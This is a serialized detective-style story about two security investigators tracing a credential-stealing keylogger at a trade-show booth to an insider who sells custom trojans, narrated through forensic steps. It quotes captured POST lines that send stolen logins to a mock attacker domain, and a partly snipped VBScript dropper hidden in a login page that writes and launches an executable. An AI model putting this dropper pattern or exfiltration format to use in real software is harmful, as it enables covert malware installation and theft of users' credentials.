“What do you have? What?” I asked as I leaned over to catch a glimpse of the ethereal window.

“Holy two-for-one table dances. That whipped by so fast I barely saw it!” Scrap exclaimed.

“Kind of like high school?” I joked.

Back to being serious.

“I’m going to slap you upside the head if you don’t move so I can see.” I said as I pulled the Scraptop closer to me.

**POST http://allyourbase.belongto.us/x.php?a=omgmarketfunds.com&b;=lickamonkey&c;=bigbigpaws **

I had a smile on my face that nearly engulfed my entire face. Once again, instinct was right on the money.

“Don’t get cocky, monkeyboy. Keep testing.” I said under my breath as I type in more URLs.

http://www.bancone1.com/

I glanced at the Scraptop.

POST http://allyourbase.belongsto.us/x.php?a=bancone1.com&b;=myhovercraft&c;=fullofeels

“Intelligent freaking keylogger.” I said to myself.

“Yo, is that doing what I think it’s doing?” Scrap quizzed.

Scrap is one sharp chimp sometimes.

Game on.

Source: archived original

Part X · Oct 18, 2005

“Are you absolutely sure?” I asked Reese as she sat down with us in the back of the booth for a quick coffee break.

“Yes, I’m sure. We never do anything on those kiosk machines but visit the demo site.” Reese replied. “But you should probably check with Stevie as well.”

“I’ll go find him.” Scrap said as he took off towards the network cabinet of the booth.

“You have to understand that our discovery this morning changes the face of this whole thing. Brian Dogson told me that this thing was all over your HQ network and they finally stamped it out. The risk here is that we have no idea how much data has been compromised on your network, and by whom.” I informed Reese after a quick swig of coffee. “I need to call Brian back and tell him about our findings. I have an idea about how we might …”

“Stevie says he never went to other sites on the kiosk machines, he always used his laptop.” Scrap interjected as he sat back down.

“I need to get back to the floor, please call Brian as soon as possible.” requested Reese as she stood up and placed her coffee cup in the trash can.

“This whole thing is freaking me out.”

I picked up my cell phone and dialed Brian’s direct line.

“Dogson.” Brian said into his cell phone.

“Brian, it’s Chief. We have a …”

“Is it time to down the demo servers yet? I really want to have a social life tonight.” Brian interrupted.

“Brian, listen. The 111.exe process is an intelligent keylogger. It is somehow grabbing URLs, usernames and passwords from financial sites. You have to assume that any web sites that your staff have visited since your discovery of the 111.exe process have been compromised.” I said in a rushed voice.

“Oh my God. Oh my God.” Brian whimpered. “I’m never going to get out of here this weekend!”

“Brian, calm down. Look, I think I have a way to narrow down which machines you need to check first - these would be the primary suspect machines. Go through your http proxy logs and look for any traffic to http://allyourbase.belongto.us. A quick grep for that URL should give you a list of proxy usernames and IP addresses. Check those machines. If you’re running DHCP this is going to get a bit more complicated.” I said in a reassuring voice.

“Uh, right. Well, to be honest we’re not using DHCP. Everyone has a static ip address. I’ll get on this right away. What should I do after I have verified that the process is not on any machine?” Brian asked.

“Update, patch and scan the hell out of those boxes. Make sure they are as clean of any malware as possible. Then, you need to make the users of those machines aware that their access to those sites may have been compromised, and they should change their credentials as soon as possible. They may want to file some fraud alerts with their institutions.” I replied.

“Oh boy, okay. Let me get on this and I’ll call you back.” Brian said as he quickly hung up on me.

Scrap had been listening to my phone call with very perked ears.

“So now what do we do, Brain?” Scrap joked.

“What we do every day, Pinky. We go look for coffee.”

Source: archived original

Part XI · Oct 21, 2005

The great thing about Starbucks locations (besides the wonderful coffee) is that they are everywhere. Scrap and I had decided to head back to our hotel room, and stopped at a “holy green-logo’d shrine to the coffee bean” on the way.“So what do you think, Chief? What’s the deal with this intelligent keylogger, the obvious CPU abuse, the magic appearance on the demo server, and the lack of good coffee at that show?” Scrap asked with a smile.

I took a large gulp of a perfectly tempered kona blend.

“I’m wondering how we keep getting ourselves into situations like this.” I joked. “Seriously, the whole thing reeks worse than your laundry basket. I think once …”

RING

I glanced at my phone. It was Brian.

“Chief.” I said into my magical silver talking box.

“Dude, I so want to go home. I looked through all my logs and it looks like any potential damage was minimized after we went through and nuked this thing from our network a while ago. The demo server situation bothers me though. I still can’t figure out how it got on there or why we didn’t detect it earlier. Do we have a ‘go’ on the disconnect?” Brian asked.

I glanced at my watch. Two hours to go.

“We need to give Reese at least another two hours. I’d set up some monitoring equipment on that segment and keep an eye on things for now. Scrap and I are going to our hotel room to brainstorm and rest. I’ll call you in two hours.” I replied.

“Okay. This whole thing stinks man!” Brian whined as he hung up.

That was the understatement of the day.

Scrap and I finished our journey back to our hotel. I took up refuge at the desk with my Apple Powerbook, while Scrap crashed out on the bed. They just don’t make apprentices like they used to.

“Why, why, why?” I pondered as I wrote up some notes on the events of the past few days. “Why would anyone invest so much time and energy into capturing financial login details with such a poorly written and designed application? Did they not test the application? Were they not familiar with …” BAM. The caffeine from my Starbucks-induced coffee binge started to ignite neurons in my monkey brain. The cloudiness subsided, and I could almost visualize the author of 111.exe in front of their computer … working on the code …

I flipped virtual desktops on my Powerbook and opened a console prompt.

_$ cd captures/current

$ strings 111.exe_

I searched through the text on my screen and wanted to flog myself for completely ignoring valuable information that was right in front of me. I had performed so many string dumps on naughty executables that my eyes had a bad habit of skipping extraneous text.

l33t tr0j@n by f1ngerb3nd3r

I knew that name, and f1ngerb3nd3r didn’t write keyloggers.

The author of 111.exe had embedded a keylogger in a common trojan package in a very poor fashion.

Looks like our perpetrator was copying off of someone else’s paper in class.

Source: archived original

Part XII · Oct 26, 2005

“Dude, WAKE UP!” I yelled as I threw an empty water bottle at Scrap’s noisy, snoring mouth hole.

“Ow. Come on Chief, I’m getting my beauty sleep.” Scrap mumbled as deftly covered his entire head with a nearby pillow.

I laughed. “It’s evidently not working, so wake up and pop open your scraptop. I need you to locate somebody for me.”

Scrap rubbed his eyes and let out a girly-sounding yawn. “Alright, who are you looking for?”

“You remember the three guys that asked to hang out with us a few Def Con shows ago so they could keep bumming smokes from you?” I queried.

Scrap stared at the ceiling and let out a brief meditative-like humming sound.

“Oh, yeah! Yeah! I remember those dudes. And the one with the braided beard kept asking me to spot him a beer.”

“That’s the dude. F1ng3rb3nd3r, aka Westmayor.” I replied.

“Yeah! The trojan dude! You know, I think he was stoned most of the time while he was there.” Scrap said innocently.

I grinned. Duh.

Scrap popped open the scraptop and headed to IRC.

The second hand on my watch was either ticking very loudly, or I was paying way too much attention to it. Either way, Reese had about ten minutes before Brian pulled the plug on her server.

“Speak of the devil - it’s b3nd3r man!” Scrap said with a laugh.

“You found him that fast?” I responded in a stunned voice.

“Dude, he hangs in #weed. DUH!” Scrap said as he rolled his eyes.

Ok, I deserved that one.

“Hand me your ’top. I need to chat with him.” I said as I reached for the almighty scraptop.

** scrap: Hey man, it’s the Chief - the guy that bought you your brews at DC.

b3nd3r: Dude! What it is. are you looking for weed? lol

scrap: Nope, but I need your help with a trojan that you wrote. If I send you a string dump, can you id which one it is?

b3nd3r: Sure man. DCC it to me now and I’ll take a (.)(.) at it. ;-)

scrap: Great. brb **

“Scrap! Wake my powerbook from sleep - I need to grab something off of it via ssh.” I said as I nudged an almost asleep Scrap on the arm.

“Yeah yeah.” Scrap replied as he tapped the space bar on the powerbook.

scp chief@chiefspowerbook:/evidence/captures/current/stringdump.txt /tmp

I was ready to DCC the file to b3nd3r.

scrap: Incoming!

B3nd3r accepted my file send immediately.

b3nd3r: brb. Gonna take a look.

RING

Reese was calling my cell phone.

“Chief.” I answered.

“Hey. I’m done. I’m packing everything up.” Reese said. She sounded exhausted.

“Roger that. I’m sending Scrap back there to help you.” I replied as I hung up.

“Wha…” Scrap began.

“You got your beauty sleep. Go give Reese a hand. Meet me back here.” I said without taking my eyes off of the LCD of the scraptop.

“Aw mannnnn.” Scrap said as he closed the hotel room door behind him.

RING

“Chief.” I answered.

“Hey, it’s Brian. Am I good to go?” Brian asked impatiently.

“Yep, unplug the server at will.” I replied.

“On it. Hey, I forgot to mention something about this server when we talked earlier. There is one distinguishing feature of this server: it is the last and only server left with the original config from the previous system administrator.” Brian said. “Does that mean anything?”

I thought for a second as more caffeinated neurons fired through my brain.

“Possibly. Good work man, let me know how your evaluation of that server goes. Remember to image the drive first.” I advised Brian as I hung up.

My IRC window came to life.

**b3nd3r: yo

scrap: back already?

b3nd3r: this was easy. this is my moneyfart trojan. however, I’m troubled about something. How did you find an executable of this laying around? I never released this.

scrap: it is our belief that someone added a keylogger to your code, messed up some code, and compiled it into an executable called 111.exe.

b3nd3r: are you sh1tt1ng me?

scrap: no, I have the executable right here. any ideas?

b3nd3r: where did u find this executable? ** I filled b3nd3r in on the less-sensitive parts of recent events. ** b3nd3r: well, moneyfart wasn’t completely done and was buggy, man. That’s why I never released it. I think I showed it around but I don’t remember giving anybody any code. I’ll have to think about this after a smoke.

scrap: you do that. hey if you think of anything email me.

b3nd3r: will do, thanks for the email addy. I guess I owe you something for those beers. lol **

I logged off of IRC to a familiar pain in my gut.

B3nd3r knew more than he was disclosing. What was he hiding?

Source: archived original

Part XIII · Oct 30, 2005

“I’m dying.” Scrap whined as he entered the door of our hotel room. “Taking down that booth was painful as hell.”

I smiled.

“A little manual labor is good for the soul. So Reese is all packed up and happy?” I asked.

“Yep. She’s getting on a plane in the morning to go back home. She was pretty wiped. She wanted me to tell you ‘Thanks’ for everything and she said she’d call you tomorrow.”

I sipped on a cup of decaf acquired from the hotel’s cafe, lost in thought.

“Hello? Earth to Chief. What’s up?” Scrap asked as he waved his monkey paws in front of my face.

I filled Scrap in on my conversation with b3nd3r, and my concerns that b3nd3r may be hiding something.

“Dude, the guy is so smoked up I’m amazed he could still type.” Scrap laughed.

“No kidding.” I said as I snapped back to reality. “Let’s crash and try to get some relaxation time in tomorrow.”

“Way ahead of you, boss.” Scrap said, his body sprawled out on one of the beds in the hotel room.

Saturday morning came with a boom, literally. Scrap and I were awakened by a large crashing sound just outside our hotel room.

“Aw man, okay, okay I’m awake!” Scrap said as he rolled out of bed.

“That wasn’t me, man.” I replied as I opened the hotel room door. Much to my surprise I found several room service trays strewn about the hallway and food all over the floor.

“Scrap, your breakfast is here.” I joked.

“I didn’t order any breakfast, man.” Scrap moaned.

“Kidding. Get dressed and let’s find some pancakes and coffee.”

What a way to start the weekend.

I was two cups of coffee into breakfast when our meal was interrupted by (surprise) my cell phone.

RING

“Chief.”

“Chief, it’s Brian. I know it’s early and I apologize. I couldn’t sleep so I came into the office this morning and started working on examining that demo server.” Brian said quickly.

“You got something?” I asked.

“Well, maybe. I have the source html to the demo site in a tar ball that I’d like to send you. I can’t make a whole lot out of it, but I bet that you can.” Brian said, his voice clearly showing his enthusiasm for this little project.

“Cool. If it’s not too big, send it to this email address.” I said as I rattled off a few email addresses.

“On it’s way. What else do you want me to do?” Brian asked.

“Do you still maintain the workstation asset database that I set up for you a while back when I consulted there? I think you called it ‘Workstation Info Database’ or something similar.” I asked.

“Yes, why?” Brian queried.

“I want you to look up a few workstations, find out where they are now, and find out if they were re-imaged at any point since their initial image.” I said, giving Brian a list of names.

“On it. Let me know if you find anything interesting in the source code!” Brian requested as he hung up.

“Uh-oh. You have that look again.” Scrap bemoaned as he rolled his eyes.

“Finish up your food, we have source code to look through.” I said.

We returned to our hotel room to find the mess in the hallway cleaned up and our room prepped by housekeeping.

I popped open the lid to my Powerbook and retrieved the email from Brian.

After a few minutes I was browsing the source code to a relatively small number of files. It appeared that the source code Brian retrieved was to the ’landing pages’ of the site which did browser version verification, user authentication, and then handed the request to some sort of a java server application.

Was I wasting my time here? I was several pages into my examination and didn’t see anything out of the ordinary.

“Holy Christmas-blend shortages. What the hell is this?” I said as I viewed the authentication redirection page.

_ language=“vbs” myArray= array([byte code snipped]) set quagmire = CreateObject(“Adodb.Stream”) quagmire.Type = adTypeText quagmire.Open quagmire.WriteText toString(MyArray) quagmire.Position = 0 quagmire.Type = adTypeBinary quagmire.Position = 2 bytearray = quagmire.Read quagmire.Close payload.savetofile([snipped]), adSaveCreateOverWrite document.location=“view-source:"+document.location.href _

“Does that do what my spidey-sense tells me it does?” Scrap asked as he peered over my shoulder.

“Unfortunately, yes.” I said as I picked up the phone to call Brian.

Brian answered his phone within a few rings.

“Brian, can you put an .iso file of your workstation image somewhere that I can grab?” I asked.

“Uh, sure. Why?” Brian asked.

“If you have a few minutes, I’ll gladly explain.” I replied.

Brian was about to need a bottle of pepto.

Source: archived original

Part XIV · Nov 2, 2005

I kept my conversation with Brian relatively short, and tasked him with a few other items. I had no sooner ended my phone call when I noticed that Scrap was ripping laptops out of our equipment carrier and was setting up what appeared to be an impromptu testing lab.“Aren’t you a busy little monkey?” I asked as I took a seat next to Scrap on the floor.

“Okay, so check my thinking here. I booted this laptop using the Windows 2000 Server partition, and I’m copying over the source tree that Brian sent you. If I copy the source tree into the default web server documents directory on my IIS5 webserver, I should be able to connect to it using a laptop imaged with Stevie’s CD, right?” Scrap said in between furious spurts of typing.

“Sounds like an interesting test. I’ll grab another laptop and do a default install of Windows 2000 Workstation on it.” I said as I grabbed a laptop and a Win2k Workstation install CD.

Several minutes, network configurations, and runs to the cafe downstairs later we were ready to test.

“How’s that IIS server?” I asked as I looked up from my laptop screen. “Ready for me to fire a torpedo your way?”

“Looks like we’re ready. I’m pulling up the page locally - and ironically enough our Win2k Server image seems immune!” Scrap joked.

“Ok, start the ethereal session on the scraptop so we’re sure that we’re going to capture this.” I requested.

“Done. Fire away!” Scrap squealed. I tried to remove that sound from my mind almost immediately.

I entered the URL of our newly-made evil IIS server and, with a deep breathe, pressed the enter key on the victim laptop.

“Bah-dah-boom baby!” Scrap exclaimed as he eye-balled the ethereal session.

“That’s exactly what we saw on the kiosk machines.”

I waited patiently in front of my victim laptop. I brought up task manager, and sure as sugar I saw the 111.exe processes in memory.

I high-fived Scrap and took a sip of my lukewarm coffee.

“Scrap, that was some excellent initiative. What’s your under-the-hood take on the VB script?” I asked, pointing to the code on Scrap’s Windows 2000 Server laptop.

“This guy is good, I’ll give you that, boss. Basically, this VB script code processes “MyArray” containing the evil 111.exe by slicing up the hex values and then merging them back into an evil byte string. He then makes a binary object. The object is written to the victim hard drive with this ‘savetoFile’ function.” Scrap said with the confidence of Fabio in a hair-do contest.

“I’m following you. After that, he executes the 111.exe file on the victim hard drive using the ‘document.location statement, right?” I said, catching Scrap’s enthusiasm.

“Bingo! The delivery on this is really sharp. I think I’m going to play around with this for a while.” Scrap replied as he trailed off into deep thought.

RING

“Chief.”

It was Brian, and by the sound of his voice I assumed he was smoking the same enthusiasm crack pipe that we just took a hit off of.

“Chief, the .iso image of the workstation install image is up on the ftp site address that you should have in your email box.” Brian said.

“I appreciate that, man. That was quick.” I replied.

“That’s not all. I went back through the workstation database, and I discovered that all of our workstations were re-imaged after the first wave of this 111.exe nightmare … except for one.”

My gut started to tingle.

“Who’s workstation?” I asked.

Brian implemented a dramatic pause and said a single word.

“Weed’s.”

Source: archived original

Part XV · Nov 11, 2005

Scrap stopped what he was doing and looked at me with a puzzled stare. Had it finally hit him that he pawned off his free strip club tickets to help this case? Or, was he wondering what the perplexed look was on my face?“Chief, you okay?” Scrap asked as he waved his monkey paw from left to right in a blessing-like fashion.

“Thanks Brian. I’ll get back to you.” I said into my cellphone as I pressed the ‘hang-up’ button.

“Hello Chief, anybody in there?” Scrap asked again.

“Hold on a second, chimp boy.” I responded as I dialed Reese’s cellphone number.

“Hello! This is Reese speaking.” came a familiar voice on the other end of the conversation.

I cleared my throat.

“Reese, it’s Chief. I was thinking about the offer you made at dinner, and I agree that we need to be brought in as contractors to finish up this investigation.”

I apparently caught Reese off guard.

“Really? Okay, I’ll make a few calls. I’ve already explained the situation to our CFO and CEO. They were receptive to the idea. I’ll email you an agreement for your reimbursement.” Reese said.

“Great. I need you to do one more thing for me.” I began. “I need you to work with your human resources manager and get me a copy of some personnel files.”

“What?” Reese replied.

“I’ll explain later. I really need to review them.” I said as I rattled off some employee names.

We ended our phone conversation.

I collected my thoughts for a moment and typed some additional notes into my powerbook. Keeping a good timeline of events is essential in any investigation.

“Yo, this is bothering me something fierce.” Scrap announced as he motioned for me to take a look at the laptop screen.

“What’s up?” I asked as I took a seat next to Scrap on the floor.

“I grabbed the workstation image that Brian provided. Would you believe that the thing is as weak as the demo machine install CD? It’s Windows 2000 Professional, underpatched, underprotected and just plain ridiculous on every level. There’s not even a password assigned to the local Administrator account!!!” Scrap exclaimed with a painful expression on his face.

“That brings me to my next issue. How many of these types of attacks have we seen since we started working together?” Scrap asked.

I rolled my eyes.

“A lot. I can’t even count them. Why?” I responded.

“Dude, in every single instance where we have investigated some type of evilware, the author always takes credit for his work. Always. Period. There is no credit anywhere in here except for the distribution method, which is credited to b3nd3r.” Scrap said as he scrolled through our string dump.

“I considered that.” I said. “But we could be dealing with a total amateur here.”

Scrap shrugged his shoulders. “True, boss. But even amateurs like bragging rights. This just isn’t kosher for some reason.” Scrap responded as a growling noise escaped his stomach.

“Evidently our stomachs are in agreement on two things. One of them is lunch. Let’s go!” I said as I made a beeline for the door.

We were at the tail end of a couple of delicious rueben sandwiches when I felt my phone vibrate. After a few napkins wipes and licking of fingers, I answered my call.

“Chief.”

“Hey, it’s Brian. I tracked down Weed’s machine, and you’re not going to believe our luck.” Brian exclaimed.

“Surprise me.” I joked as I motioned for Scrap to join me as we walked back up to our room.

“It’s still plugged in and running on his desk. Apparently nobody, myself included, thought to disconnect the darned thing. The screen is locked and none of our usual passwords work, including the Administrator password. For whatever reason, Weed wasn’t logged in to our Windows domain - he’s logged in to the machine as a local Administrator.” Brian said.

“Did you try just hitting enter with a blank password?” I said with a grin.

“A WHAT?” Brian replied in high-pitched voice.

“Just hit enter on the password field.” I suggested.

“Uh, hold on.” Brian replied as he put his cell phone down on his desk.

A loud series of key mashings could be heard in the background, and then Brian picked up his phone in a hurry.

“You know, I know you’re good and all, but how THE HELL did you know the password was blank?” Brian demanded.

“Ancient Chinese secret.” I replied. I then explained to Brian about Scrap’s discovery of the blank Administrator password on the CD image.

Scrap and I entered our room and immediately woke our laptops from sleep mode.

“Alright, I’ve been schooled today. What do you want me to look for on this box?” Brian asked.

“I’m emailing you a CD image. The CD contains several tools. I’ll include a text file explaining the details, but basically I need you to use the ‘pslist’ utility to dump out running process information, use ‘fport’ to map out processes to ports in use, and then I need the standard Windows info dump including network config, user listing, etc. You’ll need a blank floppy, because my directions will tell you to direct the output of the commands that you’ll be running from the CD onto a floppy disk. Clear?”

I could hear Brian scribbling on a piece of paper.

“Got it Chief. Be back with you in a few.” Brian said as he hung up.

I rattled off an email to Brian and enclosed the tiny utility CD image along with some instructions.

DING

I had received a new email message from someone named Mary Baggins. Her email signature indicated that she was the Human Resources Director at SST.

_ Chief:

Our employee files are electronic, so I have dumped them into PDF documents and attached them to this email. This information is confidential, please treat as such.

Regards, Mary _

I opened the first PDF document and rubbed my eyes not once, but twice.

“Scrap.” I said without taking my eyes off of the document.

Scrap was focused on his laptop.

“SCRAP!” I said as I knocked on the surface of the desk in front of me.

Scrap peered over my shoulder at the employee folder.

“Oh, cool! Weed’s personnel folder. Was he busted for smoking in the bathroom?” Scrap joked.

I scrolled up within the document and used the screen-zoom function of Mac OS X to enlarge the employee photo.

“You… have… got… to be… sh…” Scrap trailed off.

I couldn’t have said it any better myself.

Source: archived original

Part XVI · Nov 15, 2005

“Dude! We drank with that guy! We toasted with the enemy.” Scrap lamented.

The picture in the employee record was none other than b3nd3r, the person responsible for many carefully-crafted pieces of evilware over the years and the same person who had talked us into buying him drinks and smokes during Def Con.

My gut had told me that b3nd3r was hiding something during our IRC conversation, and now my gut was proven right.“This is an interesting development, Scrap. We know a lot about b3nd3r from our conversations with him in the past. Let’s look over our timeline and apply what we know about b3nd3r to the events.” I suggested as I switched virtual desktops on my powerbook and opened my case file notes.

“Your middle name should be correlation, man.” said Scrap with a grin. He was probably right about that.

Scrap and I spent a few hours bouncing ideas off of each other. B3nd3r had the knowledge and the opportunity to be responsible for all or part of the recent events, however we were unsure of a motive.

RING

Almost on cue I received the call that I had been waiting for from Brian.

“Chief.”

“Hey Chief, Brian here. I have gathered all of the information that you requested from Weed’s machine and I captured an Encase image on a hard drive for you. Where would you like it shipped?” Brian asked.

I gave Brian the address and room number to our hotel. Brian agreed to send the information via overnight carrier.

“Scrap, I need you to …” I began.

“OH let me guess. You want me to run down to the car and get Roscoe.” Scrap said with a definite lack of enthusiasm.

“Yes, please.” I responded as I checked my email on my powerbook. Brian was going to send the initial information gathered in an email so that I could start my research immediately.

Scrap had no sooner closed the hotel room when I heard a familiar “beep”. I had a message in my inbox from Brian.

Brian had followed my directions to the proverbial “T”. Upon closer examination of the information, I noted the following information:

**

1. Local accounts of interest: administrator [password blank] w33d [password assigned]

2. Single network interface, static IP address

3. Network services of interest: ssh daemon - port 22 - attached to sshd.exe telnet daemon - port 23 - attached to telnetd.exe http server - port 80 - attached to w33dserver.exe **

“Interesting.” I thought to myself. “The ssh and telnet daemons look, but may not be, standard daemons that are available in the open source community. I wonder what this w33dserver.exe process is?”

I brought up a web browser and turned to one of the greatest research tools available: google.com.

I entered “w33dserver.exe” into the search bar and had three interesting hits. The first hit was a hax0r forum discussion between two usernames: w33d and n00b. N00b’s question was quite interesting.

“I have w33dserver running, but I’m [not] receiving any hits from my clients. What did I do wrong?” wrote n00b.

W33d was quick to respond to the question by posting an answer of “N00b, you have to explicitly tell the server to accept information from your clients by setting your w33dID variable in w33d.ini”.

Interesting.

The next google hit was even more interesting. It appeared to be a semi-private discussion between b3nd3r and m@st3r. The discussion appeared to have been an email exchange on a mailing list that had somehow been archived on a webpage.

_From: m@[email protected] To: [email protected] Subj: re: [l33tcr3w] info not there

No, the capture file is overwritten every time the server is restarted, whether the process is pkill’d or the machine is restarted. The reason is because the file is overwritten, not appended.

D00d that is stupid. If I have this deployed and gathering infoZ and the process dies then I lose all my submissions? How much did you sm0ke before you thought about that? I had 42 entries before I went to bed. I checked it this morning and I have 2. So now I have to write rotation proggie to copy this $h1t to a new file or what? _

Hmmm. I still had no idea what the “infoZ” consisted of. The last hit on my google search was my only hope. It appeared to be another archived email message.

_From: [email protected] To: m@[email protected] Subj: re: [l33tcr3w] null

The ****ing thing is not allocating enough space to capture strings that are greater than 8 characters. You don’t even know your own code dude. I have cut this write[sic] out of the ****ing file: johnwate mydogsna See? So what I’m supposed to guess what the rest of the ****ing username and password are? The only thing that comes across correctly is the ****ing URL. If you think I’m paying you jack **** for this you are out of your sm0ked up mind.

That’s not the code. I simply did not tell you that you have to assign string lengths in the w33d.ini file. You have to set w33dULENGTH and w33dPWORD in the w33d.ini file. It defaults to 8. If you actually read the entire .info file you would know that. Stop *****ing at me ****ing read the entire file. _

Ladies and gentlemen, we have a motive. Now the fun begins.

Source: archived original

Part XVII · Nov 21, 2005

“Dude, you need to put Roscoe on a diet man. This frick’in forensic case gets heavier every trip.” Scrap complained as he wheeled Roscoe in the door behind him. “Stop complaining and roll my little buddy over here.” I said with a grin. Roscoe and I were pretty tight, having worked on umpteen cases together.

I popped up Roscoe’s protective shipping case and removed the smaller suitcase-sized object from within.

“Mummies weren’t packed that well.” Scrap joked as he searched around hotel room for his pack of Newports.

“Mummies weren’t nearly this sexy.” I replied as I laid the hardened plastic suitcase on it’s side and unlocked the security latch. After a familiar “click” the top of the case popped open to reveal an LCD on it’s inner surface. Below the LCD sat the guts of Roscoe and a ‘happy hacker’ style keyboard.

Scrap grabbed Roscoe’s power cord and plugged it into a spare power socket on our power strip.

“Let’s boot Roscoe up and run some quick diagnostic tests to make sure everything is ready for the drive arriving tomorrow.” I suggested as I dug through a stack of spare IDE drives that I removed from our laptop carrier. I was looking for my hard drive labeled “baseline”. The “baseline” drive was used to test the operation of Roscoe and his installed software applications, particularly EnCase and Forensic ToolKit(FTK).

I felt a tapping on my left shoulder. Scrap was standing over me, an unlit cigarette in his mouth and an IDE hard drive in his hand.

“Cool! Thanks man. That’s exactly what I was looking for it.” I said enthusiastically as I placed the baseline hard drive on the designated anti-static data extraction pad. After attaching the appropriate IDE write-blocker on the IDE cable, I attached the baseline hard drive and flipped Roscoe’s power switch to “on”.

Roscoe refused to cooperate. He sat there in his case, staring blankly up at me like a sick child.

I quickly checked the power connections and the circuit breaker on the power supply. Everything checked out.

“Unbelievable! It looks like Roscoe was a casualty of our last plane trip.” I cried as I flipped the power switch from “off” to “on” in the hopes that by some stroke of magic Roscoe would power up like normal.

I picked up my cell phone and called the company responsible for creating Roscoe. After an hour on the phone with the warranty repair department, it was decided that Roscoe was very sick and needed to be shipped back to them.

I was quoted a three-day turnaround repair timeline which was very fair, however it wasn’t going to help me when I received Weed’s hard drive tomorrow morning. I needed to wrap this assignment up, and a thorough examination of Weed’s hard drive could be the final piece of the puzzle. To make matters more stressful, Scrap and I were due at a client’s location in two days to investigate a potential privacy matter.

Scrap came back into our hotel room, fresh from a smoke break. I filled Scrap in on the situation and asked him nicely if he wouldn’t mind taking Roscoe downstairs and shipping him off to the manufacturer.

“Bummer man. Yeah, I’m all over that. How are we going to examine Weed’s drive?” Scrap asked as he packed up Roscoe.

“I think it’s time I called in a favor.” I said as I picked up my cell phone and dialed a local Las Vegas phone number.

“Harwell Investigations. Harwell speaking.” came the voice from the receiver. I had met Hugo Harwell several years ago at a forensics training class and provided him with help with non-forensic matters over the years. Hugo was also an independent investigator, and kept himself very busy in Las Vegas.

“Hugo, Chief here. I need to call in a favor.” I said timidly.

“Ho boy, look - I’m out of Starbuck’s gift cards man. Call me back around the holidays.” Hugo joked.

“Seriously man, I need to ‘borrow’ your lab.” I pleaded.

“We’re finishing up a case as we speak. When do you want to come by?” Hugo asked.

“Tomorrow morning, sometime after eleven. Would that be ok?” I asked.

“No problem. This is one favor I don’t mind paying back.” Hugo said as he hung up.

Thank goodness.

[Note: This entry is yet another example of how important it is to make a lot of contacts no matter where your travels take you. If I hadn’t made an effort to stay in contact with Hugo and provide him with pro-bono assistance over the past years, Scrap and I would have been up a creek without a paddle.]

Source: archived original

Part XVIII · Nov 23, 2005

“What is that noise?” I wondered as I looked at the clock on the desk in our hotel room.

It was eleven o’clock in the morning, loud snoring noises were escaping Scrap’s pie-hole, and I was struggling to wake up.

Ah, it was the hotel room phone!I reached over and picked up the receiver.

“Good Morning!” came from the phone in a most perky voice. “This is Darlene at the front desk. You have a package waiting for you.”

I wiped the sleep from my eyes.

“Thank you.” I said as I attempted to place the phone back in it’s cradle.

A carefully aimed pillow to Scrap’s head ended the thunderous noise escaping his head.

“Two dances! I get two dances for $20!” Scrap moaned as he woke up. “Oh, uh, ‘morning Chief. Never mind that whole ‘dance’ thing.”

I grinned in disbelief. The guy dreams about being at strip bars.

Two coffees and a trip to the front desk later, we were in our rental car and very late to our appointment at Hugo’s office. We arrived a short time later at a relatively new office complex, complete with a tombstone marker near the road that read “Harwell Investigations”.

We entered the lobby and informed the receptionist of our identities.

“Mr. Harwell will be with you in a moment.” the receptionist said with a smile. I enviously stared at the venti-sized Starbucks coffee cup on her desk.

“Chief! It’s been a long time. Welcome to Las Vegas. The lab is this way.” Hugo said as he directed us down a short hallway to a cardreader-secured doorway. A quick swipe of his card and the door unlocked.

The lab was a decent size and very well equipped. Scrap and I stowed our gear on a table nearby, and I proceeded to open the package from Brian.

Inside the well-packed box was an IDE hard drive in an anti-static bag wrapped in a clear makeshift chain-of-custody bag.

“The boy can follow directions to a proverbial ‘T’.” I commented as I initialed the bag and removed the hard drive.

Hugo handed me a brand-new IDE hard drive of the same size. We attached the blank hard drive and Brian’s drive to the forensic workstation and booted the machine.

“Mind if I drive?” Hugo asked as he began to make a quick forensic copy of Brian’s drive. Hugo was a stickler to proper procedure, which I highly admired.

After a few moments the copy process was completed. Scrap shut the workstation down and Hugo stowed Brian’s drive back in the anti-static bag. He then placed it back into the CoC bag and initialed it.

“Time to get busy!” Scrap said with a smile. He booted the forensic workstation back up and started a Forensic Toolkit (FTK) session. FTK attached to the image with zero problems and began it’s indexing of the contents.

During this time I carefully filled Hugo in on the details of our assignment.

“This seems like a slam-dunk, Chief. Examine the drive, write a report on the artifacts found, and hand the report to the client. Nice.” Huge said as he held his chin with his hand.

FTK indicated that it was ready to roll. Scrap booted up the Scraptop in preparation for some note taking.

We began the session by “coasting” through the contents of the image. It’s generally a good idea to become familiar with the type of data on the drive, it’s location, and then narrow one’s focus on the important artifacts found.

This drive was fascinating. We started with some keyword searches that we had gleaned through our previous investigative efforts.

Searches for “w33d” revealed a treasure trove of artifacts that included the source code to w33dserver, the source code to b3nd3r’s ‘moneyfart’ trojan, internet explorer cache entries to message boards, and numerous Microsoft Outlook Express E-mail messages.

Piecing the artifacts together is typically the most time-consuming part of any examination, and this was no exception.

Several hours of examination and a pot of coffee later, we believed that we had collected every relevant artifact from the drive image. I was busy examining b3nd3r’s C source code and was trying to make heads or tails of his erratic coding style. Scrap was perusing through the captured E-mail messages.

“Holy crap, boss. I feel totally 0wn3d.” Scrap said as he pointed to the forensic computer’s LCD screen.

“What’s up?” I asked.

Scrap scrolled back up through the message on the screen.

“Check this out.”

I peered at the message in awe.

**From: [email protected] To: [email protected] Subj: GTG Yo. Your customized MF executable is sitting in your email account. Received the cashola. If u want another customized one you can wire me another 500 bones. The source will cost you more. Later. **

“Oh, that’s not the best one man. Check this one out!” Scrap as he scrolled down through a different E-mail message.

**From: [email protected] To: [email protected] Subj: re: triple one yep it works. I have tested it numerous time in a live j/k environment. attached for your whacking pleasure. [Attachment: 111.exe] **

“Holy caffeine benders.” I said out loud. “What’s the MD5 checksum of that attached fiile?”

Scrap read the checksum out loud as I examined the checksum in my notes from the 111.exe file captured from the kiosk machines.

Perfect match.

Source: archived original

Conclusion · Nov 28, 2005

“I’m not sure what I’m more upset about.” Scrap began. “Him making serious cash from his skills or the fact that he smoked all my smokes and milked beer from us at Def Con.““I know what I’m upset about.” I said as I glared at the screen.

“He sure ruined my trip to Las Vegas.”

Scrap nodded in agreement.

Several hours later we packed up our gear and thanked Hugo for the use of his lab with a tasty prime rib dinner.

We arrived at Hugo’s favorite steakhouse and were promptly seated in a large booth.

“So you’ve burned up all the client-allocated hours on this investigation and are ready to wrap this up?” Hugo asked in between sips of beer.

